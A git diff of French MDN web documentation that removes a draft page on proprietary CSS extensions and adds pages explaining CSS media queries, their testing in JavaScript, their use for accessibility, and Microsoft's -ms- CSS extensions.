Note : Cette page est un brouillon et son contenu est incomplet voire obsolète. À lire avec un œil critique.

-
- -
-

Attention ! Cette page est incomplète et n'est pas à jour. Se référer aux pages suivantes pour plus d'informations :

- - -
- -
BROUILLON - -
Cette page est incomplète.
-
- -

Cette liste contient les extensions propriétaires des CSS en fonction des moteurs des différents navigateurs ; il ne s'agit pas des implémentations expérimentales des fonctionnalités en cours de standardisation (voir Implémentation des fonctionnalités CSS à l'état de brouillon pour une liste de ces dernières).

- -

Gecko

- -

Propriétés

- -
    -
  • {{ Cssxref("-moz-force-broken-image-icon") }}
    • -
  • {{ Cssxref("-moz-image-region") }}
    • -
  • {{ Cssxref("-moz-margin-end") }}
    • -
  • {{ Cssxref("-moz-margin-start") }}
    • -
  • {{ Cssxref("-moz-orient") }}
    • -
  • {{ Cssxref("-moz-padding-end") }}
    • -
  • {{ Cssxref("-moz-padding-start") }}
    • -
  • {{ Cssxref("-moz-stack-sizing") }}
    • -
  • {{ Cssxref("-moz-window-shadow") }}
    • -
- -

Valeurs

- -

{{ cssxref("background-image") }}

- -
    -
  • Portions d'images -
      -
    • {{ cssxref("-moz-image-rect") }}
      • -
    -
    • -
- -

Pseudo-éléments et pseudo-classes

- -

...

- -

Règles At

- -

...

- -

Requêtes de média

- -

...

- -

Autres

- -

...

- -

Opera

- -

Propriétés

- -

...

- -

Valeurs

- -

{{ cssxref("background-image") }}

- -
    -
  • {{ cssxref("-o-double-rainbow") }}
    • -
- -

Pseudo-éléments et pseudo-classes

- -

...

- -

Règles At

- -

...

- -

Requêtes de média

- -

...

- -

Autres

- -

...

- -

Trident (IE)

- -

Propriétés

- -
    -
  • {{ cssxref("-ms-accelerator") }}
    • -
- -

Valeurs

- -

...

- -

Pseudo-éléments et pseudo-classes

- -

...

- -

Règles At

- -

...

- -

Requêtes de média

- -

...

- -

Autres

- -

...

- -

WebKit

- -

Propriétés

- -
    -
  • {{ Cssxref("-webkit-box-reflect") }}
    • -
  • {{ Cssxref("-webkit-mask") }}
    • -
  • {{ Cssxref("-webkit-mask-attachment") }}
    • -
  • {{ Cssxref("-webkit-mask-composite") }}
    • -
  • {{ Cssxref("-webkit-mask-image") }}
    • -
  • {{ Cssxref("-webkit-mask-origin") }}
    • -
  • {{ Cssxref("-webkit-mask-repeat") }}
    • -
  • {{ Cssxref("-webkit-tap-highlight-color") }}
    • -
  • {{ Cssxref("-webkit-text-decorations-in-effect") }}
    • -
  • {{ Cssxref("-webkit-text-stroke") }}
    • -
  • {{ Cssxref("-webkit-text-stroke-color") }}
    • -
  • {{ Cssxref("-webkit-text-stroke-width") }}
    • -
  • {{ Cssxref("-webkit-touch-callout") }}
    • -
- -

Valeurs

- -

...

- -

Pseudo-éléments et pseudo-classes

- -

...

- -

Règles At

- -

...

- -

Requêtes de média

- -

...

- -

Autres

- -

...

diff --git "a/files/fr/web/css/liste_propri\303\251t\303\251s_css_anim\303\251es/index.html" "b/files/fr/web/css/liste_propri\303\251t\303\251s_css_anim\303\251es/index.html" deleted file mode 100644 index e3927a94d8..0000000000 --- "a/files/fr/web/css/liste_propri\303\251t\303\251s_css_anim\303\251es/index.html" +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Liste des propriétés CSS animées -slug: Web/CSS/Liste_propriétés_CSS_animées -tags: - - Animations - - CSS - - Reference - - Transitions -translation_of: Web/CSS/CSS_animated_properties ---- -
{{CSSRef}}
- -

Certaines propriétés CSS peuvent être animées. Cela signifie que leur valeur change de façon graduelle grâce aux animations CSS ou aux transitions CSS.

- -

Voici la liste des propriétés qui peuvent être animées :

- -

{{CSSAnimatedProperties}}

diff --git a/files/fr/web/css/media_queries/index.html b/files/fr/web/css/media_queries/index.html new file mode 100644 index 0000000000..58c6cdc73e --- /dev/null +++ b/files/fr/web/css/media_queries/index.html @@ -0,0 +1,86 @@ +--- +title: Media queries +slug: Web/CSS/Requêtes_média +tags: + - Aperçu + - CSS + - CSS Media Queries + - Reference +translation_of: Web/CSS/Media_Queries +--- +
{{CSSRef}}
+ +

Les requêtes média, plus souvent appelées media queries, sont un outil de responsive design qui permet d'adapter la feuille de style CSS en fonction de différents paramètres ou caractéristiques de l'appareil. Par exemple, on pourra appliquer différents styles si l'écran de l'appareil utilisé pour consulter le document est plus petit qu'une taille donnée ou si l'utilisateur tient son appareil en mode portrait ou paysage. La règle @ (ou at-rule) {{cssxref("@media")}} est utilisée afin d'appliquer les styles de façon conditionnelle.

+ +

De plus, la syntaxe des requêtes média est également employée dans d'autres contextes, notamment l'attribut {{htmlattrxref("media", "source")}} de l'élément {{HTMLElement("source")}} qui permet de définir une chaîne de caractères contenant une requête média afin de choisir le fichier source utilisé pour une image grâce à l'élément HTML {{HTMLElement("picture")}}.

+ +

De plus, la méthode du DOM {{domxref("Window.matchMedia()")}} peut être utilisée afin de tester le résultat d'une requête média pour la fenêtre courante. On peut également utiliser la méthode {{domxref("MediaQueryList.addListener()")}} afin de recevoir une notification lorsque l'état de la requête évolue. Grâce à cette fonctionnalité, un site ou une application peut réagir aux changements de configuration, d'orientation ou d'état.

+ +

Vous pouvez en découvrir plus dans l'article Tester des requêtes media.

+ +

Référence

+ +

Règles @

+ +
+
    +
  • {{cssxref("@import")}}
    • +
  • {{cssxref("@media")}}
    • +
+
+ +

Guides

+ +
+
Manipuler les requêtes média
+
Cet article présente les requêtes média, ce qu'elles font, et explique les différentes expressions qu'il est possible d'utiliser.
+
Tester les requêtes média
+
Cet article explique comment tester une requête média grâce à un programme JavaScript. On pourra par exemple déterminer l'état de l'appareil, mettre en place des gestionnaires d'évènements afin d'être notifié lorsque les résultats d'une requête média évoluent (par exemple lorsqu'un utilisateur tourne son appareil).
+
Utiliser des requêtes média pour l'accessibilité
+
Cet article explique comment les requêtes média peuvent être utilisées afin de rendre un site plus accessible.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS5 Media Queries')}}{{Spec2('CSS5 Media Queries')}} 
{{SpecName('CSS3 Conditional')}}{{Spec2('CSS3 Conditional')}} 
{{SpecName('CSS4 Media Queries')}}{{Spec2('CSS4 Media Queries')}} 
{{SpecName('CSS3 Media Queries')}}{{Spec2('CSS3 Media Queries')}} 
{{SpecName('CSS2.1', 'media.html')}}{{Spec2('CSS2.1')}}Définition initiale.
+ +

Voir aussi

+ +
    +
  • La règle-@ {{cssxref("@supports")}} afin d'appliquer une mise en forme srlon que l'agent utilisateur prend ou non en charge certaines technologies CSS.
    • +
diff --git a/files/fr/web/css/media_queries/testing_media_queries/index.html b/files/fr/web/css/media_queries/testing_media_queries/index.html new file mode 100644 index 0000000000..39539a5749 --- /dev/null +++ b/files/fr/web/css/media_queries/testing_media_queries/index.html @@ -0,0 +1,79 @@ +--- +title: Tester les requêtes média en JavaScript +slug: Web/CSS/Requêtes_média/Tester_les_media_queries +tags: + - Avancé + - CSS + - DOM + - Guide +translation_of: Web/CSS/Media_Queries/Testing_media_queries +--- +
{{CSSRef}}
+ +

Le {{Glossary("DOM")}} fournit un certain nombre de fonctionnalités qui permettent de tester les résultats d'une requête média (media query) avec un script. Pour cela, on utilise l'interface {{domxref("MediaQueryList")}} ainsi que ses méthodes et ses propriétés. Une fois qu'on a créé un objet {{domxref("MediaQueryList") }}, on peut vérifier le résultat de la requête ou également recevoir des notifications automatiques lorsque le résultat de la requête change.

+ +

Créer une liste de requêtes média

+ +

Avant d'évaluer les résultats d'une requête, on doit créer un objet {{domxref("MediaQueryList")}} qui représente la requête média. Pour cela, on utilisera la méthode {{domxref("window.matchMedia")}}.

+ +

Ainsi, si on veut avoir une liste de requête qui détermine si l'appareil utilisé est orienté en portrait ou en paysage, on pourra écrire :

+ +
var mql = window.matchMedia("(orientation: portrait)");
+
+ +

Vérifier le résultat d'une requête

+ +

Une fois que la liste de requêtes média a été créée, on peut vérifier le résultat de la requête grâce à la propriété matches qui représente les résultat de la requête :

+ +
if (mql.matches) {
+  /* La zone d'affichage/viewport est en portrait */
+} else {
+  /* La zone d'affichage/viewport est en paysage */
+}
+
+ +

Recevoir des notifications liées à la requête

+ +

Afin de savoir lorsque l'évaluation d'une requête a changé, il sera plus efficace de déclarer un listener plutôt que d'interroger sans cesse le résultat. Pour cela, on pourra utiliser la méthode addListener() sur l'objet {{domxref("MediaQueryList")}} et définir un observateur qui implémente l'interface {{domxref("MediaQueryListListener")}} :

+ +
var mql = window.matchMedia("(orientation: portrait)");
+mql.addListener(handleOrientationChange);
+handleOrientationChange(mql);
+
+ +

Ce code crée la liste de requêtes média qui teste l'orientation (l'objet mql) puis ajoute un listener. Une fois qu'on a ajouté le listener, on l'invoque une fois. Cela permet d'ajuster l'état initial du listener selon l'orientation de l'appareil (sinon, le code aurait considéré que l'appareil était en portrait par défaut même si ce dernier était en paysage, ce qui aurait engendré des incohérences).

+ +

La méthode handleOrientationChange() qu'on implémente ensuite consulte le résultat de la requête et gère le cas où l'orientation est modifiée :

+ +
function handleOrientationChange(mql) {
+  if (mql.matches) {
+    /* La zone d'affichage/viewport est en portrait */
+  } else {
+    /* La zone d'affichage/viewport est en paysage */
+  }
+}
+
+ +

Terminer la réception des notifications

+ +

Lorsqu'on ne souhaite plus recevoir de notifications sur les modifications apportées à la valeur de la requête média, on pourra simplement utiliser removeListener() sur l'objet  {{domxref("MediaQueryList") }} :

+ +
mql.removeListener(handleOrientationChange);
+
+ +

Compatibilité des navigateurs

+ +

Interface MediaQueryList

+ + + +

{{Compat("api.MediaQueryList")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/media_queries/using_media_queries/index.html b/files/fr/web/css/media_queries/using_media_queries/index.html new file mode 100644 index 0000000000..4dc71551de --- /dev/null +++ b/files/fr/web/css/media_queries/using_media_queries/index.html @@ -0,0 +1,384 @@ +--- +title: Media queries +slug: Web/CSS/Requêtes_média/Utiliser_les_Media_queries +tags: + - Avancé + - CSS + - CSS3 + - Guide + - Media Queries + - Requêtes média + - Responsive Design +translation_of: Web/CSS/Media_Queries/Using_media_queries +--- +
{{CSSRef}}
+ +

Les requêtes média (media queries) permettent de modifier l'apparence d'un site ou d'une application en fonction du type d'appareil (impression ou écran par exemple) et de ses caractéristiques (la résolution d'écran ou la largeur de la zone d'affichage (viewport) par exemple).

+ +

Les requêtes média sont utilisées afin :

+ +
    +
  • D'appliquer certains styles de façon conditionnelle grâce aux règles @ {{cssxref("@media")}} et {{cssxref("@import")}}.
    • +
  • De cibler certains médias pour les éléments {{HTMLElement("style")}}, {{HTMLElement("link")}}, {{HTMLElement("source")}} et d'autres éléments HTML grâce à l'attribut media=.
    • +
  • De tester et surveiller l'état d'un média grâce aux méthodes {{domxref("Window.matchMedia()")}} et {{domxref("MediaQueryList.addListener()")}}.
    • +
+ +
+

Note : Les exemples de cet article utilisent @media à des fins d'illustration. Toutefois, la syntaxe est la même pour les différents types de requêtes média.

+
+ +

Syntaxe

+ +

Une requête média se compose d'un type de média optionnel et d'une ou plusieurs expressions de caractéristiques de média. Plusieurs requêtes peuvent être combinées entre elles grâce à des opérateurs logiques. Les requêtes média ne sont pas sensibles à la casse.

+ +

Une requête média vaut true si le type de média correspond à l'appareil utilisé pour l'affichage du document et si toutes les expressions relatives aux caractéristiques sont vraies. Les requêtes qui utilisent des types de média inconnus valent toujours false.

+ +
+

Note : Lorsqu'une feuille de style est attachée à un élément {{HTMLElement("link")}} comportant une requếte média, cette feuille de style sera toujours téléchargée, même si la requête renvoie false. Toutefois, le contenu de cette feuille n'est pas appliquée tant que le résultat de la requête ne devient pas true.

+
+ +

Types de média

+ +

Un type de média définit une catégorie générale d'appareil. Le type de média est optionnel dans une requête média, sauf si celle-ci utilise les opérateurs logiques not ou only. Par défaut, le type de média utilisé est all.

+ +
+
all
+
Correspond pour tous les appareils.
+
print
+
Correspond aux matériaux paginés et aux documents consultés en aperçu avant impression. Pour plus d'informations, voir l'article sur les média paginés.
+
screen
+
Correspond aux appareils dotés d'un écran.
+
speech
+
Correspond aux outils de synthèse vocale.
+
+ +
Note : Les types de média dépréciés CSS2.1 et Media Queries 3 ont défini plusieurs types additionnels (tty, tv, projection, handheld, braille, embossed, and aural) qui ont ensuite été dépréciés avec Media Queries 4. Ces types ne doivent donc plus être utilisés. Le type aural a été remplacé par le type speech.
+ +

Caractéristiques média (media features)

+ +

Les caractéristiques média décrivent certaines caractéristiques spécifiques de l'agent utilisateur, de l'appareil d'affichage ou de l'environnement. Les expressions de caractéristique média testent leur présence ou leur valeur. Chaque expression de caractéristique doit être entourée de parenthèses.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NomRésuméNotes
{{cssxref("@media/width","width")}}La largeur de la zone d'affichage (viewport)
{{cssxref("@media/height","height")}}La hauteur de la zone d'affichage
{{cssxref("@media/aspect-ratio","aspect-ratio")}}Le rapport largeur/hauteur de la zone d'affichage
{{cssxref("@media/orientation","orientation")}}L'orientation la zone d'affichage
{{cssxref("@media/resolution","resolution")}}La densité de pixel pour l'appareil d'affichage
{{cssxref("@media/scan","scan")}}Le processus de scan de l'appareil d'affichage
{{cssxref("@media/grid","grid")}}Le type d'écran de l'appareil : matriciel ou grille ?
{{cssxref("@media/update-frequency","update")}}La fréquence de modification du contenu par l'appareil d'affichageAjoutée avec le niveau 4 du module de spécification Media Queries.
{{cssxref("@media/overflow-block","overflow-block")}}La façon dont l'appareil d'affichage gère le contenu qui dépasse de la zone d'affichage selon l'axe de blocAjoutée avec le niveau 4 du module de spécification Media Queries.
{{cssxref("@media/overflow-inline","overflow-inline")}}La possibilité de faire défiler (scroll) le contenu qui dépasse de la zone d'affichage sur l'axe en ligneAjoutée avec le niveau 4 du module de spécification Media Queries.
{{cssxref("@media/color","color")}}Le nombre de bits pour chaque composante de couleur pour l'appareil d'affichage (ou 0 si l'appareil ne gère pas les couleurs)
{{cssxref("@media/color-gamut","color-gamut")}}Un intervalle approximatif des couleurs prises en charge par l'agent utilisateur et l'appareil d'affichageAjoutée avec le niveau 4 du module de spécification Media Queries.
{{cssxref("@media/color-index","color-index")}}Le nombre d'éléments dans le tableau des couleurs de l'appareil d'affichage (ou 0 si l'appareil ne dispose pas d'un tel tableau)
{{cssxref("@media/display-mode","display-mode")}}Le mode d'affichage de l'application, tel qu'indiqué par la propriété display du manifesteDéfinie dans la spécification pour les manifestes des applications web.
{{cssxref("@media/monochrome","monochrome")}}Le nombre de bits par pixel pour le frame buffer monochrome de l'appareil d'affichage ou 0 si l'appareil n'est pas monochrome
{{cssxref("@media/inverted-colors","inverted-colors")}}L'inversion (ou non) des couleurs par l'agent utilisateur ou le système d'exploitationReportée au niveau 5 du module de spécification Media Queries.
{{cssxref("@media/pointer","pointer")}}La présence d'un appareil de pointage comme mécanisme de saisie principal et sa précisionAjoutée avec le niveau 4 du module de spécification Media Queries.
{{cssxref("@media/hover","hover")}}La capacité du mécanisme de saisie principal à survoler les élémentsAjoutée avec le niveau 4 du module de spécification Media Queries.
{{cssxref("@media/any-pointer","any-pointer")}}La présence d'un appareil de pointage parmi les mécanismes de saisie et sa précisionAjoutée avec le niveau 4 du module de spécification Media Queries.
{{cssxref("@media/any-hover","any-hover")}}La capacité d'un des mécanismes de saisie à survoler les élémentsAjoutée avec le niveau 4 du module de spécification Media Queries.
{{cssxref("@media/light-level","light-level")}}Le niveau de luminosité de l'environnementAjoutée avec le niveau 5 du module de spécification Media Queries.
{{cssxref("@media/prefers-reduced-motion", "prefers-reduced-motion")}}L'utilisateur préfère que la quantité de mouvement sur la page soit réduite.Ajoutée avec le niveau 5 du module de spécification Media Queries.
{{cssxref("@media/prefers-reduced-transparency", "prefers-reduced-transparency")}}L'utilisateur préfère que la transparence utilisée sur la page soit réduite.Ajoutée avec le niveau 5 du module de spécification Media Queries.
{{cssxref("@media/prefers-contrast", "prefers-contrast")}}L'utilisateur préfère que la contraste soit augmenté ou réduit entre des couleurs proches.Ajoutée avec le niveau 5 du module de spécification Media Queries.
{{cssxref("@media/prefers-color-scheme", "prefers-color-scheme")}}L'utilisateur préfère utiliser un thème clair ou un thème sombre.Ajoutée avec le niveau 5 du module de spécification Media Queries.
{{cssxref("@media/forced-colors", "forced-colors")}}Détecte si l'agent utilisateur restreint la palette de couleurs.Ajoutée avec le niveau 5 du module de spécification Media Queries.
{{cssxref("@media/scripting","scripting")}}La disponibilité des fonctions de script (JavaScript par exemple)Reportée au niveau 5 du module de spécification Media Queries.
{{cssxref("@media/device-width","device-width")}} {{obsolete_inline}}La largeur de la surface de rendu pour l'appareil d'affichageDépréciée par le niveau 4 du module de spécification Media Queries.
{{cssxref("@media/device-height","device-height")}} {{obsolete_inline}}La hauteur de la surface de rendu pour l'appareil d'affichageDépréciée par le niveau 4 du module de spécification Media Queries.
{{cssxref("@media/device-aspect-ratio","device-aspect-ratio")}} {{obsolete_inline}}Le rapport largeur/hauteur de la surface de rendu pour l'appareil d'affichageDépréciée par le niveau 4 du module de spécification Media Queries.
+ +

Opérateurs logiques

+ +

Les opérateurs logiques not, and et only peuvent être utilisés afin de construire une requête média complexe. Il est aussi possible de combiner plusieurs requêtes média en les séparant par des virgules.

+ +

and

+ +

L'opérateur and permet de combiner plusieurs requêtes média en une seule. Pour que la requête résultante soit vraie, il faut que chacune des sous-requêtes soit vraie. Cet opérateur est également utilisé afin de relier des caractéristiques média avec des types de média.

+ +

not

+ +

L'opérateur not est utilisé afin d'obtenir le résultat opposé d'une requête média (il renvoie true si l'opérande renvoie false). S'il est utilisé dans une liste de requêtes séparées par des virgules, il ne nie que la requête sur laquelle il est appliqué. Si l'opérateur not est utilisé, la requête doit nécessairement contenir un type de média.

+ +
+

Note : Pour la spécification de niveau 3, l'opérateur not ne peut pas être utilisé afin de prendre l'opposé d'une expression de caractéristique de média, il ne peut servir qu'à l'échelle d'une requête média entière.

+
+ +

only

+ +

L'opérateur only est utilisé afin d'appliquer un style uniquement si l'intégralité de la requête est vérifiée. Il permet d'empêcher les anciens navigateurs d'appliquer les styles concernés. Si on utilise pas only, un ancien navigateur interprètera screen and (max-width: 500px) comme screen uniquement (appliquant ainsi le style à tous les écrans). Si l'opérateur only est utilisé, la requête doit nécessairement contenir un type de média.

+ +

, (virgule)

+ +

Les virgules permettent de combiner plusieurs requêtes en une. Chaque requête est traitée séparément. Autrement dit, si une des requêtes de la liste renvoie true, toute la requête combinée renverra true. En ce sens, l'opérateur , agit comme un opérateur booléen or.

+ +

Cibler des types de média

+ +

Les types de média décrivent la catégorie générale de l'appareil utilisé. Bien que la plupart des sites web soient principalement conçus pour être affichés sur des écrans, il est possibles d'avoir des styles spécifiques pour les impressions ou pour les lecteurs d'écran. Voici une requête qui permet de cibler les imprimantes ou autres appareils imprimant le contenu sur plusieurs pages :

+ +
@media print { ... }
+ +

Il est possible de cibler plusieurs types à la fois. La règle suivante permet de cibler les écrans et les appareils d'impression :

+ +
@media screen, print { ... }
+ +

Pour une liste complète des types de média, voir ci-avant. Ces types étant très génériques, peu de valeurs sont disponibles. Afin d'avoir un ciblage plus fin, on pourra utiliser les caractéristiques média.

+ +

Cibler des caractéristiques média

+ +

Les caractéristiques média décrivent les caractéristiques spécifiques d'un agent utilisateur, d'un appareil d'affichage ou de l'environnement. On peut ainsi cibler différents styles pour les écrans larges, pour les ordinateurs qui disposent d'une souris ou pour les appareils utilisés dans une faible luminosité. Dans l'exemple qui suit, on a une requête qui vérifie si le mécanisme de saisie principal de l'appareil peut survoler les éléments :

+ +
@media (hover: hover) { ... }
+ +

De nombreuses caractéristiques média sont des caractéristiques portant sur un intervalle et peuvent être préfixées par min- ou max- afin d'exprimer des seuils de valeurs. Par exemple, la requête suivante permet d'appliquer des styles à condition que la largeur de la zone d'affichage (viewport) soit inférieure à 1250px :

+ +
@media (max-width: 1250px) { ... }
+ +
+

Selon la spécification du W3C, les barres de défilement font parties des dimensions de la page. Ainsi la barre de défilement vertical s'ajoute à la largeur du document tandis que la barre de défilement horizontal s'ajoute à la hauteur du document. Cependant tous les navigateurs n'ont pas adopté cette recommandation (Chrome par exemple) et tous n'ont pas opté pour la même taille de barre de défilement, ce qui mène à un développement plus difficile pour assurer une comptabilité sur tous les navigateurs.

+
+ +

Si on utilise une caractéristique média sans indiquer de valeur, la requête sera vérifiée tant que la valeur de cette caractéristique n'est pas nulle (ou none pour la spécification de niveau 4). Ainsi, la requête suivante permettra d'appliquer les styles qu'elle contient si l'appareil peut afficher des couleurs :

+ +
@media (color) { ... }
+ +

Si une caractéristique ne s'applique pas à l'appareil, les expressions utilisant cette caractéristique renverront false. Ainsi, la requête suivante aura toujours la valeur false car aucun appareil de synthèse vocale ne possède de caractéristique relative à ses proportions d'écran :

+ +
@media speech and (aspect-ratio: 11/5) { ... }
+ +

Pour plus d'exemples, voir les pages de référence de chacune de ces caractéristiques depuis le tableau ci-dessus.

+ +

Créer des requêtes média complexes

+ +

Il est parfois nécessaire d'avoir une requête qui repose sur plusieurs conditions. Pour cela, on peut utiiliser les opérateurs logiques : not, and, only et la virgule (,) afin de combiner plusieurs requêtes média.

+ +

Dans l'exemple précédent, on a utilisé l'opérateur and afin de combiner un type de média et une caractéristique média. Cet opérateur peut également servir à assembler plusieurs requêtes média pour en former la conjonction logique. L'opérateur not permet d'obtenir la négation d'une requête média tandis que l'opérateur only empêche les anciens navigateurs d'appliquer les styles qu'une requête contient.

+ +
+

Note : Dans la plupart des cas, le type de média all est utilisé par défaut si aucun autre type n'est fourni. Toutefois, lorsqu'on utilise les opérateurs not ou only, il est nécessaire de fournir un type de média explicite.

+
+ +

Combiner plusieurs types ou caractéristiques

+ +

Le mot-clé and permet de combiner une caractéristique média avec un type de média ou avec d'autres caractéristiques média. L'exemple suivant permet de restreindre l'application d'un style aux appareils orientés en mode paysage et dont la largeur mesure au moins 30ems :

+ +
@media (min-width: 30em) and (orientation: landscape) { ... }
+ +

Si on souhaite restreindre ces règles aux écrans, on pourra ajouter une clause avec le type de média screen :

+ +
@media screen and (min-width: 30em) and (orientation: landscape) { ... }
+ +

Tester plusieurs requêtes

+ +

La virgule peut être utilisée afin de créer une disjonction (un OU logique) sur différentes clauses (types de média, caractéristiques ou états). Dans l'exemple qui suit, les styles de la requête sont appliqués si l'appareil possède une hauteur supérieure ou égale à 680 pixels ou si l'écran est en mode portrait :

+ +
@media (min-height: 680px), screen and (orientation: portrait) { ... }
+ +

Avec cet exemple, si l'utilisateur utilise une imprimante et que la page mesure 800 pixels de haut, la requête média aurait été vérifiée. Il en aurait été de même si l'utilisateur avait utilisé un smartphone avec une zone d'affichage haute de 480 pixels en portrait car la deuxième clause aurait renvoyée true.

+ +

Opérer une négation

+ +

Le mot-clé not permet d'inverser le résultat d'une requête. Il inversera uniquement la requête sur laquelle il est appliqué (et non la liste des requêtes s'il est utilisé au sein de requêtes séparées par des virgules). Le mot-clé not ne peut pas être utilisé afin d'inverser une caractéristique média, il peut uniquement être utilisé pour une requête média complète. Dans la requête qui suit, l'opérateur not est évalué en dernier :

+ +
@media not all and (monochrome) { ... }
+
+ +

La requête précédente est donc équivalente à :

+ +
@media not (all and (monochrome)) { ... }
+
+ +

Mais elle n'est pas équivalente à :

+ +
@media (not all) and (monochrome) { ... }
+ +

De même :

+ +
@media not screen and (color), print and (color) { ... }
+
+ +

sera évaluée comme :

+ +
@media (not (screen and (color))), print and (color) { ... }
+ +

Améliorer la compatibilité avec les anciens navigateurs

+ +

Le mot-clé only empêche les navigateurs qui ne prennent pas en charge les requêtes média avec les caractéristiques média d'appliquer les styles concernés. Cet opérateur n'a aucun effet pour les navigateurs modernes.

+ +
@media only screen and (color) { ... }
+
+ +

Améliorations syntaxiques avec la spécification de niveau 4

+ +

La spécification de niveau 4 pour les requêtes média ajoute des améliorations syntaxiques pour les requêtes média qui portent sur un intervalle (par exemple les critères de largeur et de hauteur). On peut par exemple utiliser le préfixe max- pour les largeurs et écrire :

+ +
@media (max-width: 30em) { ... }
+ +

Avec les requêtes média de niveau 4, on peut écrire :

+ +
@media (width <= 30em) { ... }
+ +

Si on utilise min- et max- conjointement, on peut tester l'appartenance d'une valeur à un intervalle :

+ +
@media (min-width: 30em) and (max-width: 50em) { ... }
+ +

Avec les requêtes média de niveau 4, on peut écrire :

+ +
@media (30em <= width <= 50em ) { ... }
+
+ +

Les requêtes média de niveau 4 permettent également d'utiliser une logique booléenne avec les opérateurs and, not et or.

+ +

Tester l'absence d'une caractéristique avec not

+ +

On peut utiliser l'opérateur not() autour d'une caractéristique média afin de tester l'absence de cette caractéristique. Ainsi, on peut not(hover) pour cibler les appareils qui ne permettent pas le survol d'un élément :

+ +
@media (not(hover)) { ... }
+ +

Tester plusieurs caractéristiques avec or

+ +

Il est possible d'utiliser l'opérateur or pour tester une correspondance sur plus d'une caractéristique. Dans l'exemple suivant, on cible les appareils qui ont un affichage monochrome (not (color)) ou qui permettent de survoler les éléments (hover) :

+ +
@media (not (color)) or (hover) { ... }
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/css/media_queries/using_media_queries_for_accessibility/index.html b/files/fr/web/css/media_queries/using_media_queries_for_accessibility/index.html new file mode 100644 index 0000000000..3ff2740bd8 --- /dev/null +++ b/files/fr/web/css/media_queries/using_media_queries_for_accessibility/index.html @@ -0,0 +1,96 @@ +--- +title: Utilisation des requêtes média pour l'accessibilité +slug: Web/CSS/Requêtes_média/Utilisation_requêtes_media_accessibilité +tags: + - '@media' + - Accessibilité + - CSS +translation_of: Web/CSS/Media_Queries/Using_Media_Queries_for_Accessibility +--- +
{{QuickLinksWithSubpages("/fr/docs/Web/CSS/Requêtes_média/")}}
+ +

Les requêtes média (media queries) peuvent être utilisées afin d'améliorer l'accessibilité d'un site web.

+ +

Réduction de mouvement - prefers-reduced-motion

+ +

Le clignotement ou les animations rapides peuvent poser problème, notamment pour les personnes souffrant de troubles tels que le troubles de déficit de l'attention ou d'epilepsie, de migraines, etc.

+ +

Cette méthode peut également améliorer l'expérience des utilisateurs en économisant l'énergie nécessaire à l'affichage de la page (avec une amélioration sensible pour les appareils avec une batterie faible ou qui ne sont pas particulièrement récents).

+ +

Syntaxe

+ +
+
no-preference
+
Cette valeur indique que l'utilisateur n'a pas indiqué de préférence particulière dans le système.
+
reduce
+
Cette valeur indique que l'utilisateur a signalé au système qu'il préférait une interface minimisant la quantité de mouvement ou d'animation. Idéalement, tous les mouvements qui ne sont pas essentiles doivent être retirés.
+
+ +

Exemple

+ +

Cet exemple illustre comment éviter les animations inutiles en activant une préférence pour réduire les mouvements à l'écran.

+ +

HTML

+ +
<div class="animation">animated box</div>
+
+ +

CSS

+ +
.animation {
+  -webkit-animation: vibrate 0.3s linear infinite both;
+  animation: vibrate 0.3s linear infinite both;
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .animation {
+    animation: none;
+  }
+}
+
+ +

Résultat

+ +

{{EmbedLiveSample("Exemple")}}

+ +

Mode de contraste élevé{{Non-standard_inline}}

+ +

La caractéristique média -ms-high-contrast est spécifique à Microsoft mais permet d'indiquer si l'application est affichée avec un mode de contraste élevé et, si c'est le cas, quelle variation de couleur est utilisée.

+ +

Cela ne bénéficie pas seulement aux utilisateurs souffrant de troubles de la vision mais aussi aux personnes qui consultent le document avec une lumière ambiante importante (ex. sur un écran faiblement éclairé et en plein soleil).

+ +

Syntaxe

+ +

La caractéristique média -ms-high-contrast peut être définie avec l'une des valeurs suivantes.

+ +

Valeurs

+ +
+
active
+
+

Cette valeur indique que les règles suivantes seront appliquées lorsque le système utilise un mode de contraste élevé, quelle que soit la variation de couleurs.

+
+
black-on-white
+
+

Cette valeur indique que les règles suivantes seront appliquées lorsque le système utilise un mode de contraste élevé avec une dominante noir sur blanc.

+
+
white-on-black
+
+

Cette valeur indique que les règles suivantes seront appliquées lorsque le système utilise un mode de contraste élevé avec une dominante blanc sur noir.

+
+
+ +

Exemple

+ +

Les déclarations suivantes s'appliqueront respectivement aux applications qui sont affichées avec un mode de contraste élevé, quelle que soit la variation de couleur (1), avec une dominante noir sur blanc (2), avec une dominante blanc sur noir (3).

+ +
@media screen and (-ms-high-contrast: active) {
+  /* Toutes les règles appliquées en contraste élevé */
+}
+@media screen and (-ms-high-contrast: black-on-white) {
+  div { background-image: url('image-bw.png'); }
+}
+@media screen and (-ms-high-contrast: white-on-black) {
+  div { background-image: url('image-wb.png'); }
+}
+
diff --git a/files/fr/web/css/microsoft_extensions/index.html b/files/fr/web/css/microsoft_extensions/index.html new file mode 100644 index 0000000000..017958249c --- /dev/null +++ b/files/fr/web/css/microsoft_extensions/index.html @@ -0,0 +1,118 @@ +--- +title: Extensions CSS de Microsoft +slug: Web/CSS/Extensions_CSS_Microsoft +tags: + - CSS + - Non-standard + - Reference +translation_of: Web/CSS/Microsoft_Extensions +--- +
{{CSSRef}}
+ +

Les applications Microsoft, telles que Edge ou Internet Explorer, prennent en charge différentes extensions à CSS. Ces extensions sont préfixées par -ms.

+ +

Propriétés spécifiques à Microsoft (ne pas utiliser sur le Web)

+ +
+

Note : Ces propriétés et pseudo-classes ne fonctionneront que pour les applications Microsoft et ne sont pas en voie de standardisation.

+
+ +
+
    +
  • {{CSSxRef("-ms-accelerator")}}
    • +
  • {{CSSxRef("-ms-block-progression")}}
    • +
  • {{CSSxRef("-ms-content-zoom-chaining")}}
    • +
  • {{CSSxRef("-ms-content-zooming")}}
    • +
  • {{CSSxRef("-ms-content-zoom-limit")}}
    • +
  • {{CSSxRef("-ms-content-zoom-limit-max")}}
    • +
